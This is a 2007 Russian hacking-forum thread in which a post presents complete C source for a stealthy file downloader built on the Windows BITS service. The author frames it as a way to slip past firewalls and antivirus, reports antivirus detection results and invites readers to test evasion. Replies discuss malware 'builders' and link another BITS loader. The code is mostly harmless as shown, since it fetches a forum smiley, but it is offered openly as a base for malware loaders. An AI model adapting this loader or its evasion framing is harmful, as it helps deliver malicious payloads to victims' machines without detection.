Авторские статьи Обход фаеров с использованием Bits

Discussion in 'Статьи' started by Piflit, 9 Sep 2007.

  1. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Обход фаеров с использованием BITS


    [0x01] Введение

    В настоящее время как никогда актуальна тема прохода через огненные стены с получением наименьшего количества ожогов. Многие используют метод inject'а в доверенные (наиболее часто системные) процессы. Это вполне разумно, поскольку брандмауэр принимает нас за своего и дружелюбно открывает нам дверь в сеть. Но уже на стадии впрыскивания себя в адресное пространство другого процесса мы можем быть замечены антивирусом, что не входит в наши планы. Во избежание этого делают снятие хуков, тем самым не позволяя антивирю узнать о наших действиях. Но само снятие хуков может быть уже подозрительно. На этот случай существует еще один, хотя и не очень популярный (по моему мнению) способ. Это использование BITS. Что же это такое?

    [0x02] Что такое BITS

    Background Intelligent Transfer Service (BITS) это элемент ОС от мелкомягких, который обеспечивает передачу файлов между компами, используюя свободную часть пропускной способности сетевого соединения. В основном используется последними версиями Windows Update, Windows Server Update Services и Systems Management Server для доставки обновления софта клиентам, также используется майкрософтовскими IM (Instant Messenger, например MSN) для передачи файлов. (Взято из wiki)
    Ну и что? - скажете вы. Оказывается, что BITS любезно предоставляет нам доступ к своим трансферам через API. Причем передача идет скрытно, а служба - системная, что обеспечивает нам полную невидимость от различных анализаторов траффика. Причем в MSDN есть достаточно полное описание данной службы, что дает нам возможность использовать ее в своих мирных целях. Итак, приступим.

    [0x03] Coding

    Для примера я напишу простой downloader. Это даже не совсем downloader, а тот минимум кода, необходимый для выпонения данной задачи, к которому можно прикрутить много всего интересного.



    Code:
    #define UNICODE
    #define _WIN32_WINNT  0x0500
    #include <windows.h>
    #include "bits.h"
    #define LOAD_PATH	L"http://forum.antichat.ru/images/smilies/smile.gif" //для примера возьмем смайлик с форума
    #define SAVE_PATH	L"c:\\smile.gif" // место, куда он будет сохраняться
    
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPTSTR    lpCmdLine,
                         int       nCmdShow)
    
    {
    //Объявляем глобальные переменные
    IBackgroundCopyManager* g_XferManager = NULL;  
    HRESULT hr;
    GUID JobId;
    IBackgroundCopyJob* pJob = NULL;
    BG_JOB_STATE pJobState;
    
    
    //Инициализируем СОМ библиотеку
    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (SUCCEEDED(hr)) // если предыдущая функция была удачно выполнена
    {
    // Создаем один неинициализированный объект класса, ассоциированного с определенным CLSID (сам не до конца понял, что это)
      hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
                            CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_LOCAL_SERVER,
                            __uuidof(IBackgroundCopyManager),
                            (void**) &g_XferManager);
      if (SUCCEEDED(hr))
      {
        /*
    	Вся система загрузки состоит из Job'ов (что-то вроде заданий), которые мы можем создавать, запускать, останавливать и т.д. Тажке мы можем реагировать на события при выполнении Job'a.
    	*/
    hr = g_XferManager->CreateJob(L"our_hackish_dl", BG_JOB_TYPE_DOWNLOAD, &JobId, &pJob); // создаем Job
    if (SUCCEEDED(hr))
    {
      hr = pJob->AddFile(LOAD_PATH, SAVE_PATH); //добавляем файл в Job
    if (SUCCEEDED(hr))
    {  
      hr = pJob->Resume(); // запускаем Job
    					if (SUCCEEDED(hr))
    					{
    						while (true)
    						{
    							// ждем, пока загрузка завершится
    							hr = pJob->GetState(&pJobState);
    							
    							if (SUCCEEDED(hr) && 
    								(pJobState == BG_JOB_STATE_CONNECTING || 
    								pJobState == BG_JOB_STATE_TRANSFERRING))
    							{
    								Sleep(10);
    							} else {
    								break;
    							}
    						}
    					}
    }
    pJob->Complete(); // завершаем Job
    pJob->Release(); // удаляем Job из списка Job'oв, чтобы не засорять этот список (он ограничен, поэтому это обязательно)
    
    MessageBoxA(0,"File has been downloaded successfully!","Hey!", 0); // тут все понятно
    }
      }
      g_XferManager->Release();
    }
    
    CoUninitialize(); // функция, обратная CoInitializeEx()
    ExitProcess(0);
    
    return 0;
    }
    Вот и все. Совсем не сложно. Размер - 1536 bytes. Согласитесь, неплохо для downloader'a. Хотя проактивка каспера палит, думаю, другие AV будут к нам более доброжелательны. Если потестите и выложете результаты здесь, буду благодарен. Кстати, вот отчет с вирустотала:

    AntiVir 7.6.0.5 2007.09.08 HEUR/Malware
    CAT-QuickHeal 9.00 2007.09.08 (Suspicious) - DNAScan
    Webwasher-Gateway 6.0.1 2007.09.08 Heuristic.Malware

    [0x04] Заключение

    Для компила сорца нужны некоторые библиотеки, которых нет по умолчанию. Если у вас они отсутствуют, скачать их можно здесь:
    [Slil.ru]
    [Ifolder.ru]
    А бинарник для теста (грузится смайлик в c:\\smile.gif) здесь:
    [Slil.ru]
    [Ifolder.ru]

    По той причине, что в некоторых местах статьи мои знания несколько поверхностны, прошу указывать на неточности и на откровенный бред. Конструктивная критика приветствуется!
    Спасибо Cr4sh'у из Hellknights за его 0x48k BITS Loader, который помог мне разобраться во всем этом.
    Отдельный респект Xserg'у за помощь!

    ЗЫ На написание данной статьи меня подтолкнул пост Ni0x'a о способах обхода фаеров, за что ему отдельное спасибо))

    Линки по теме:
    http://en.wikipedia.org/wiki/Background_Intelligent_Transfer_Service
    http://msdn2.microsoft.com/en-us/library/Aa362827.aspx
    http://msdn2.microsoft.com/en-us/library/aa362828.aspx
    http://msdn2.microsoft.com/en-us/library/aa363160.aspx
     
    7 people like this.
  2. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Piflit, я не буду критиковать твою статью в полной мере, НО всеже еще недавно ты спрашивал совсем элементарные вещи о синтаксисе языка С и настройках линковщика, а сегодня пишешь статью об обходе с помощью BITS, который итак описывает каждый второй. Во-первых, на полную статью это не тянет, как говорится это либо исчерпывающий ответ на форуме, либо просто заметка. Во-вторых, инициатива не наказывается, если она идет во благо людям, поэтому я не буду продолжать свой комментарий.
     
    #2 Ni0x, 9 Sep 2007
    Last edited: 9 Sep 2007
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Пару ссылок плз, потому что я так не думаю.
     
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Ну написал бы билдер....
     
  5. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Точно сам писал?=)
     
  6. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Я думал об этом, но сначала хочется узнать, надо ли это кому-нибудь. Не хочется зря терять время.

    Точно. В msdn есть куски кода (посмотри линки), а сорец 0x48k BITS Loader помог исправить некоторые ошибки.
     
    #6 Piflit, 9 Sep 2007
    Last edited: 9 Sep 2007
  7. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    ...Человек только учится...
    Кстати каким образом был собран лоадер написано.
    конечно кому-нибудь нужно...нужно ли тебе?)вот в чем вопрос.
     
  8. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Piflit, если уж на то пошло, то статья на то и статья, что раскрывает тему в полной мере, вот если бы ты объяснил что делает каждая строка в твоем исходнике, дал бы вркатце справку по функциям bits и константам, рассказал бы более подробно про саму технологию, тогда да - может бы и получилась статья. Не стоит обижаться на мои сообщения, все учатся. Насчет ссылок, читал как минимум в паре езинах и на некоторых форумах посвященных программированию.
    И еще, наврятле у тебя хватит опыта написать билдер, конфигуратор - да, но не билдер.
     
  9. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Ni0x, все ок. На мой взгляд, исходник достаточно комментирован, а справка по функциям и константам есть в msdn, зачем ее тупо копипастить? Для этого я и дал ссылки. Чем билдер отличается от конфигуратора?
     
  10. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Конфигуратор работает с образцом выходного файла, т.е он берет файл, открывает его на запись и меняет определенные строки. Билдер же генерирует файл на лету, если можно так сказать, т.е сам файл хранится в билдере. Что интересно, я ни разу не встречал исходники билдеров в публичных источниках.
     
  11. Silentium

    Silentium New Member

    Joined:
    9 Jul 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Странно . А разве этот медод еще работает ? Интересно , почему не прикрыли .

    Bits лоадер был написан Cr4sh в конце прошлого года .
    http://hellknights.void.ru/releases/0x48k-bitsloader.rar
    DeaDMonaX описал технику во 2 hackconnect
    http://hackconnect.ru/

    А статью отсюда таки , кажется , уже сплагиатили :
    http://asteam.ru/forum/showthread.php?p=7828
    И без копирайтов , что харАктерно .
     
    #11 Silentium, 15 Dec 2007
    Last edited: 15 Dec 2007